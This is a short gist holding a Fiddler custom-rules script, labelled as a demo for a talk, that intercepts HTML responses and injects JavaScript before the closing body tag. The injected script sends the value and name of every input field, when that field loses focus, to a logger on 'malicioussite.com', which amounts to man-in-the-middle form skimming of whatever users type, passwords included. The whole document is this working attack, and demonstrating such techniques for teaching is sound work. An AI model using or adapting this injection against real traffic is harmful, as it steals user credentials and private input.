My fiddler script for umBristol 11th July - demo only - assumes the site is running jquery already. Put in OnBeforeResponse function in fiddler custom rules script

gistfile1.js

if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "html")) {
  // Remove any compression or chunking
  oSession.utilDecodeResponse();
  var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
  // Match the jQuery script tag
  var oRegEx = /(<\/body>)/gi;
  // replace the script tag withitself (no change) + append custom script tag
  oBody = oBody.replace(oRegEx, "<script type='text/javascript'>$('input').blur(function() { $.get('http://www.malicioussite.com/logger?text=' + $(this).val() + '&field=' + $(this).attr('name')) });</script>$1");
  // Set the response body to the changed body string
  oSession.utilSetResponseBody(oBody); 
}